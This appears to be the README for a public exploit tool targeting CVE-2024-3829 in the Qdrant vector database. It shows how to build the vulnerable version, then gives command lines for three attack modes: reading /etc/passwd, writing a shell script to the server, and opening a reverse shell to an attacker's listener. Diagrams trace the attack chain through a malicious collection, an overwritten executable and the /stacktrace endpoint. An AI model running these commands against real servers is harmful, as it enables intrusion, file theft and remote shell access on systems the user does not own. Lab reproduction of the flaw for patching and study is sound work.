########################### THIS IS AN EXPLOIT FOR CVE-2024-3829 IN QDRANT 1.9.0-dev ###########################  
 _______  __   __  _______         _______  _______  _______  _   ___         _______   _____   _______  _______   
|       ||  | |  ||       |       |       ||  _    ||       || | |   |       |       | |  _  | |       ||  _    |  
|       ||  |_|  ||    ___| ____  |____   || | |   ||____   || |_|   | ____  |___    | | |_| | |____   || | |   |  
|       ||       ||   |___ |____|  ____|  || | |   | ____|  ||       ||____|  ___|   ||   _   | ____|  || |_|   |  
|      _||       ||    ___|       | ______|| |_|   || ______||___    |       |___    ||  | |  || ______||___    |  
|     |_  |     | |   |___        | |_____ |       || |_____     |   |        ___|   ||  |_|  || |_____     |   |  
|_______|  |___|  |_______|       |_______||_______||_______|    |___|       |_______||_______||_______|    |___|  
  
 ############################################### by fabse-hack.de ###############################################  

git clone https://github.com/qdrant/qdrant.git
cd qdrant
git checkout 15479a45ffa3b955485ae516696f7e933a8cce8a^
docker build -t qdrant:1.9.0-dev-vuln .
docker run -p 6333:6333 qdrant:1.9.0-dev-vuln

python3 -m pip install -r requirements.txt

python3 cve_2024_3829.py -h

# Read mode
python3 cve_2024_3829.py -m read -tu http://target_ip -tp <target_port> -tpath /etc/ -tf passwd

# Write mode
python3 cve_2024_3829.py -m write -tu http://target_ip -tp <target_port> -tpath /tmp/ -apath /tmp/ -af shell.sh

# Reverse shell mode
python3 cve_2024_3829.py -m reverse_shell -tu http://target_ip -tp <target_port> -ai <listener_ip> -ap <listener_port>

sequenceDiagram
    participant Attacker
    participant Exploit
    participant Target
    participant Listener

    Attacker->>Exploit: Start exploit script
    Exploit->>Listener: Start TCP listener
    Exploit->>Target: Create malicious collection
    Exploit->>Target: Upload trigger script
    Exploit->>Target: Overwrite executable
    Exploit->>Target: Call /stacktrace endpoint
    Target->>Listener: Reverse shell connection
    Listener->>Attacker: Interactive shell access

flowchart TD
    Start[Start Listener]
    Bind[Bind to attacker port]
    Listen[Wait for connection]
    Accept[Accept incoming connection]
    Interactive[Interactive shell session]
    End[Connection closed]

    Start --> Bind
    Bind --> Listen
    Listen --> Accept
    Accept --> Interactive
    Interactive --> End